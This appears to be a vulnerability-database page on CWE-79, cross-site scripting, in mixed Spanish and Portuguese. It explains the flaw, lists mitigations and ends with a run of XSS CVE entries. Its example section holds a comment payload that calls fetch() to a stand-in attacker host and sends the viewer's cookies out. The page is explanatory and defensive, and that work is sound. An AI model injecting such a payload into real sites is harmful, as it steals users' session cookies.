Fallos del tipo CWE-79

29.884 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-30452MEDIUMWordPress Landing Page Builder plugin <= 1.5.1.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-85683HIGHJane Menu < 1.5.1 - Unauthenticated Stored XSS via Store Config Proxy URLEPSS 0.4%CVE-2026-48261MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-19713MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2025-14554HIGHSell BTC - Cryptocurrency Selling Calculator <= 1.5 - Unauthenticated Stored Cross-Site Scripting via 'orderform_data' AJAX ActionEPSS 0.4%CVE-2026-75685MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75683MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2023-40153MEDIUMCross-site Scripting in DEXMA DEXGateEPSS 0.4%CVE-2026-75672MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2025-28243HIGHAn issue in Alteryx Server v.2023.1.1.460 allows HTML injection via a crafted script to the pages component.EPSS 0.4%CVE-2026-75700MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75702MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-19612MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-51994HIGHCross-site Scripting in portal picture upload in Combodo iTopEPSS 0.4%CVE-2026-75646MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-3180LOWConcrete CMS version 9 below 9.2.8 and previous versions below 8.5.16 is vulnerable to Stored XSS in blocks of type fileEPSS 0.4%CVE-2024-34413MEDIUMWordPress SliceWP Affiliates plugin <= 1.1.10 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-75657MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2025-0511HIGHWelcart e-Commerce <= 2.11.9 - Unauthenticated Stored Cross-Site Scripting via name ParameterEPSS 0.4%CVE-2026-75709MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%